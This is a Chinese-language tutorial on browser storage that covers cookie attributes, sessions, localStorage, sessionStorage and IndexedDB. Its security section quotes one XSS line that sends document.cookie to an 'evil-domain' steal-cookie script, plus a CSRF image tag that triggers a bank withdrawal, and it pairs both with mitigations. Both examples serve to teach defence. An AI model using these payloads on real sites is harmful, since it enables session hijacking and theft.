Cookie
Cookie诞生背景
早期互联网只是用于简单的浏览文档信息、查看黄页和门户网站等,并没有交互这个概念;
但是随着互联网慢慢的发展,宽带、服务器等硬件设施得到了很大的提升,互联网允许人们做更多的事情了,所以交互式Web(即客户端与服务器可以互动,如用户登录、商品购买和论坛等)慢慢就兴起了,而HTTP无状态的特点对此造成了严重阻碍;
-
HTTP是无状态的,HTTP五大特点之一;- 无状态是指协议对于事务处理没有记忆能力,服务器不知道客户端是什么状态;
- 即给服务器发送
HTTP请求之后,服务器会根据请求返回响应数据,但是发送完以后,HTTP不会记录任何信息,服务器便无法知道两个请求是否来自同一个浏览器,用户上一次做了什么,每次请求都是完全独立的(Cookie和Session孕育而生);
-
由于
HTTP不能记录用户上次的操作,伟大的程序员也发明了隐藏域,用于记录用户上一次的操作信息;- 通过隐藏域,把用户上次操作记录放在
form表单的input中,当请求时将表单提交,这样就可以知道上一次用户的操作了; - 隐藏域作用强大,现在都还有很多人在用它解决各种问题,隐藏域的写法如下:
<input type="hidden" name="field_name" value="value"> - 但是这样每次都得建隐藏域,并对其赋值,既麻烦又容易出错;
- 通过隐藏域,把用户上次操作记录放在
-
随后,网景公司的卢-蒙特利Lou Montulli,在1994年将
Cookies的概念应用于网络通信;- 用于解决用户网上购物的购物车历史记录,而当时最强大的浏览器是网景浏览器,之后在网景浏览器的支持下,其他浏览器也逐渐开始支持
Cookie,现在所有浏览器都支持Cookie了;
- 用于解决用户网上购物的购物车历史记录,而当时最强大的浏览器是网景浏览器,之后在网景浏览器的支持下,其他浏览器也逐渐开始支持
什么是Cookie?
-
Cookie主要是用于解决HTTP无状态的特性,用于满足交互式Web; -
Cookie是由服务器发给客户端的特殊信息,这些信息以文本文件的形式存储在客户端,客户端每次向服务器发送请求时,都会带上这些特殊信息,用于服务器记录客户端的状态,例如用户登录: -
由于
Cookie是保存在浏览器中的,如用户登录信息,那么用户就可以随意更改用户信息,这是一种不安全的策略;
Cookie属性
-
Name:表示Cookie的名称,服务器通过Name属性来获取Cookie的值; -
Value:表示Cookie的值,大多数情况下服务器会把Value当作一个key去缓存中查询保存的数据; -
Domain:表示可以访问此Cookie的域名,以百度贴吧为例:- 从上图中可看出,
.baidu.com顶级域名,.passport.baidu.com二级域名,所以这里有一个访问规则:- 顶级域名:只能设置或访问顶级域名的
Cookie; - 二级及以下的域名:只能设置或访问自身或者顶级域名的
Cookie; - 所以如果要在多个二级域名中共享
Cookie的话,只能将Domain属性设置为顶级域名;
- 顶级域名:只能设置或访问顶级域名的
Domain默认值为该Cookie的网页所在的域名;
- 从上图中可看出,
-
Path:表示可以访问此Cookie的页面路径,比如Path=/test,那么只有/test路径下的页面可以读取此Cookie;Path默认值为设置该Cookie的网页所在的目录;- 发送跨域请求时,即使
url的域名和路径都满足Cookie的Domain和Path,默认情况下Cookie也不会自动添加到请求头部中;
-
Expires / Max-Age:Expires:expires=w,D M Y h:m:s GMT表示Cookie将在Y年M月D日h时m分s秒星期w之后失效,失效的Cookie会被浏览器清空;- 未设置
Expires时,默认有效期为session,即会话Cookie,浏览器关闭后消失; http 1.0协议中的选项;
Max-Age:max-age=正数,即Cookie有效期为创建时刻 + max-age;max-age=0,即删除Cookie;max-age=负数,即Cookie有效期为session;http 1.1协议中的选项,替代了expires;
-
Size:表示Cookie的name + value的字符数,比如有一个Cookie:id=666,那么Size=2+3=5;-
每个浏览器对Cookie的支持都不相同:
-
-
HttpOnly:- 设置
Cookie是否能通过js访问,若为true,则只有在http请求头中会带有此Cookie信息,不能通过JS来访问此Cookie; - 默认情况下,
Cookie不会带HttpOnly选项,客户端可以通过JS代码访问(读取、修改、删除等)该Cookie; HttpOnly只能通过服务端设置;- 限制客户端访问
Cookie,是为了保障安全;- 例如:某页面遭受
XSS攻击时,有一段恶意脚本插到了网页中,该脚本通过document.cookie读取用户身份验证相关的Cookie,并将这些Cookie发送到攻击者的服务器,攻击者轻而易举地拿到了用户验证信息;
- 例如:某页面遭受
- 设置
-
Secure:- 表示是否
Cookie只能在确保安全的请求中才会发送,当请求是HTTPS或其他安全协议时,包含Secure选项的Cookie才能被发送至服务器; - 若在网页中通过
JS设置Secure类型的Cookie(如document.cookie='key=value; secure')时,必须保证网页是HTTPS协议的;
- 表示是否
设置Cookie
-
服务端设置:
Set-Cookie=Path=/;Expires=Thu,01-Jan-1970 00:00:00 GMT;...- 一个
set-cookie只能设置一个Cookie,设置多个Cookie,需要添加多个set-cookie字段; - 服务端可以设置
Cookie的所有选项:Name|Value|Expires/Max-Age|Domain|Path|HttpOnly|Secure;
- 一个
-
客户端设置:
document.cookie='name=value;expire=...;secure';- 一个
document.cookie只能设置一个Cookie,设置多个Cookie,需要添加多个document.cookie字段; - 客户端可以设置
Cookie的选项:Name|Value|Expires/Max-Age|Domain|Path|Secure(只能在HTTPS协议中设置成功);
- 一个
修改、删除Cookie
-
修改
Cookie:Path|Domain选项保持一致,其他选项重新赋值,便能修改该Cookie; -
删除
Cookie:Path|Domain选项保持一致,Expires选项设置为一个过去的时间,或者Max-Age设置为负数,便能删除该Cookie;
跨域请求中的Cookie
Cookie作为一种credential信息(还有HTTP authentication schemes),发生跨域时,默认情况下是不会被传送给服务器;- 除非客户端手动设置
xhr.withCredentials = true; - 服务端也必须允许
request能携带认证信息,即在response header中包含Access-Control-Allow-Credentials: true,这样浏览器才会自动将Cookie加在request header中; - 并且,服务端不能将
Access-Control-Allow-Origin设置为*,而是必须设置为请求页面的域名;
Cookie的问题
- 由于存储在
Cookie中的数据,每次都被浏览器自动放在HTTP请求头中,若这些数据并不是每个请求都需要发给服务器的数据,浏览器设置的自动处理便增加了网络开销; - 若这些数据是每个请求都需要携带的数据,浏览器设置的自动处理就免去了重复添加操作;
- 因此,在
Cookie中,应该存放每次请求都需要携带的数据(如登录状态信息); - 并且由于
Cookie是保存在浏览器中的,如用户登录信息,那么用户就可以随意更改用户信息,这是一种不安全的策略;
Session
诞生背景
- 其实设计
Cookie之初,它并不是仅仅保存了一个key值,而是直接保存用户的信息; - 但是由于
Cookie是存在客户端的,存储大小是有限的,最关键的是用户是可见的,并且可以随意地修改,这相当不安全; - 为了既安全又方便的读取全局信息,于是诞生了
Session这种新的存储会话机制;
什么是Session?
Session(即会话),服务器会为每个浏览器创建一个会话对象;- 浏览器在第一次请求服务器时,服务器会为该浏览器生成一个
Session对象,保存在服务端; - 并且把
Session的ID以Cookie的形式发送给浏览器,最终以“用户显示结束”或“Session超时”为结束;
Session工作原理
-
当某个用户向服务器发送第一个请求时,服务器为其建立一个
Session,并为此Session创建一个标识号(sessionID); -
这个用户之后的所有请求都应包括这个标识号(
sessionID),服务器会校验这个标识号,判断该请求属于哪个Session; -
sessionID标识号有两种实现方式:Cookie和URL重写; -
Cookie是将数据直接保存在客户端,而Session是将数据保存在服务端,所以Session的安全性更佳;
Session应用场景
Session主要是服务器端存储,用来描述一些用户信息或者相关的其他数据,只要是你的业务觉得可以绑定到用户或客户端的相关数据,都可以放到Session中;- 最基本的场景就是存储用户登录信息;
Session生命周期
- 创建:
- 若访问的第一个资源是
JSP页面,则创建Session对象; - 若访问的第一个资源是
Servlet,则需要手动调用request.getSession()方法来创建Session对象;
- 若访问的第一个资源是
- 销毁:调用
session.invalidate()方法来销毁Session对象,Session会话超时默认30分钟;
Cookie和Session关系
-
都是为了实现客户端与服务端交互而产出;
-
Cookie是保存在客户端,缺点易伪造、不安全; -
Session是保存在服务端,会消耗服务器资源; -
Session实现有两种方式:Cookie和URL重写; -
Cookie带来的安全性问题:- 会话劫持和
XSS:- 在
Web应用中,Cookie常用来标记用户或授权会话; - 因此,如果
Web应用的Cookie被窃取,可能导致授权用户的会话受到攻击; - 常用的窃取
Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击,如:(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; HttpOnly类型的Cookie,由于阻止了JavaScript对其的访问性,从而可以在一定程度上缓解此类攻击;
- 在
- 跨站请求伪造(
CSRF):- 维基百科已经给了一个比较好的
CSRF例子:- 比如在不安全聊天室或论2坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">,当你打开含有了这张图片的HTML页面时,如果你之前已经登录了你的银行帐号并且Cookie仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走; - 解决
CSRF的办法有:隐藏域验证码、确认机制、较短的Cookie生命周期等;
- 比如在不安全聊天室或论2坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:
- 维基百科已经给了一个比较好的
- 会话劫持和
WebStorage
localStorage
-
特点
- 生命周期:持久化的本地存储,除非主动删除,否则数据永不过期;
- 存储的信息在同一域中是共享的;
- 大小:
5M;
-
使用
- 设置:
localStorage.setItem('key','value'); - 获取:
- 获取
value:localStorage.getItem('key'); - 获取第
n+1个key:localStorage.key(n);
- 获取
- 删除:
localStorage.removeItem('key'); - 清除:
localStorage.clear();
- 设置:
sessionStorage
-
特点
- 生命周期:会话级别的存储;
- 存储一个会话的数据,在同一个会话中的页面的数据才能被访问,当会话结束后数据也随之销毁;
- 大小:
5M;
- 生命周期:会话级别的存储;
-
使用
- 设置:
sessionStorage.setItem('key', 'value'); - 获取:
- 获取
value:sessionStorage.getItem('key');; - 获取第
n+1个key:sessionStorage.key(n);
- 获取
- 删除:
sessionStorage.removeItem('key'); - 清除:
sessionStorage.clear();
- 设置:
Cookie、WebStorage的区别
Cookie | localStorage | sessionStorage | |
|---|---|---|---|
| 大小 | 4 KB | 5 MB | 5 MB |
| 生命周期 | Expires/Max-Age,过期时间前均有效 | 持久化存储,除非手动删除 | 会话结束后消失 |
| 数据存储 | 数据在每一次HTTP请求时,会携带给服务器 | 只在本地存储 | 只在本地存储 |
| 作用域 | 域名&路径一致,共享Cookie | 协议&主机名&端口一致,共享一份localStorage数据 | 协议&主机名&端口&同一窗口(浏览器的标签页)一致,共享一份sessionStorage数据 |
IndexedDB
什么是IndexedDB?
WebStorage(即localStorage、sessionStorage)适用于存储少量数据;IndexedDB适用于存储大量的结构化数据;IndexedDB是基于JavaScript的面向对象的数据库,允许存储和检索用键索引的对象;
IndexedDB使用模式
-
打开数据库并开始一个事务:
var db; var request = window.indexedDB.open(dbName, version); request.onsuccess = function(event) { db = request.result; } request.onerror = function(event) { alert('error'); } -
创建一个
object store:// 在onupgradeneeded事件内操作 request.onupgradeneeded = function(event) { db = event.target.result; var objectStore = db.createObjectStore('item', { keyPath: 'id', autoIncrement: true }); /** * 创建索引通过id搜索: * objectStore.createIndex(indexName, keyPath, objectParameters) * indexName: 创建的索引名,可为空 * keyPath: 索引使用的关键路径,可为空 * objectParameters: 可选参数,unique标识该字段是否唯一,不能重复 */ objectStore.createIndex('id', 'id', { unique: true }); // 添加信息到数据库 objectStore.add({ name: 'nnn', age: 'aa'}); } // 在onupgradeneeded事件外操作 // 新建事务 var transaction = db.transaction(['item'], 'readwrite'); // 创建存储对象 var objectStore = transaction.objectStore('item'); // 添加数据 objectStore.add({ name:'nnn', age:'aa' }); -
构建一个请求来执行一些数据库操作(新增或提取数据):
// 获取数据 var getRequest = objectStore.get(1); // 修改数据 var updateRequest = objectStore.put({ name:'aaa', age: 'gg', id: 1 }); //删除数据 var deleteRequest = objectStore.delete(1);
参考原文:
Cookie&Session
本地存储-cookie|localStorage|sessionStorage|indexedDB